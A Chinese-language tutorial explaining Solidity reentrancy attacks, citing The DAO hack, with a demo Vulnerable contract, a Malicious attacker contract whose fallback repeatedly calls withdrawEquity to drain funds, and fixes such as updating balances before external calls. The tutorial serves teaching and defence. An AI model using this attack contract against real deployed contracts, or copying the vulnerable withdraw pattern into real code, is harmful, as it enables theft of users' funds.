重入攻击
当调用外部的合约时,外部合约会接管控制流程,从而可能给自己的数据带来意想不到的修改。2016年6月,以太坊最大众筹项目The DAO被攻击,黑客获得超过350万个以太币。正是由于此陷阱。
重入攻击本质
1、调用外部合约
2、fallback回调函数被多次执行
3、逻辑顺序出现问题
4、call函数没有gaslimit的限制。
5、call函数返回值为true或false。出错不会执行回滚。
案例剖析
1、部署合约Vulnerable、Malicious、transferEther,假设地址为 addrA、addrB、addrC
2、 将addrB传递到 Vulnerable合约的 add中。 完成此操作后,将balance映射的金额增加100。附带5 ether。让Vulnerable合约一开始就有5 ether。
3、将addrA的地址传递到Malicious合约的instance中,存储地址。
4、调用transferEther合约的test方法,传递addrB的地址。由于合约的转账方法出发了fallback回调函数。因此执行了Vulnerable合约中的withdrawEquity方法。此方法执行了语句 msg.sender.call.value(x)();而当前的msg.sender为Malicious合约地址,又会再次执行Malicious合约的回调函数。而这时, ____balanceOf[msg.sender] 的金额还没有变为0.使得Vulnerable不停的转移资金给Malicious合约。一直到到达了gaslimit的限制从而终止。但是由于call函数返回值为true或false。只有最后的函数出错会执行回滚。其他函数会正常的执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| contract Vulnerable{
mapping(address =>uint) public _balanceOf;
function withdrawEquity() public returns(bool){
uint x = _balanceOf[msg.sender]; msg.sender.call.value(x)(); _balanceOf[msg.sender] = 0 ; return true; }
function add(address _addr) payable{ _balanceOf[_addr] = 100; }
function getBalance() returns(uint){ return this.balance; } }
contract Malicious{ address private _owner; Vulnerable public vul; function setInstance(address addr) public{ vul = Vulnerable(addr);
}
function Malicious() public { _owner = msg.sender; }
function () public payable{ vul.withdrawEquity(); }
function winnerWinnerChickenDinner() public{ _owner.transfer(this.balance); }
function getBalance() returns(uint){ return this.balance; } }
contract transferEther{ function test(address _addr) payable{ _addr.call.value(5 ether)();
} }
|
解决办法
1、替换顺序,这样当重复执行withdrawEquity函数时,资金已经变为了0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function withdrawEquity() public returns(bool){
uint x = _balanceOf[msg.sender]; msg.sender.call.value(x)(); _balanceOf[msg.sender] = 0 ; return true; } 替换为: function withdrawEquity() public returns(bool){ uint x = _balanceOf[msg.sender]; _balanceOf[msg.sender] = 0 ; msg.sender.call.value(x)(); return true; }
|
2、替换为更安全的send、transfer函数
3、对于调用外部合约的时候保持警惕。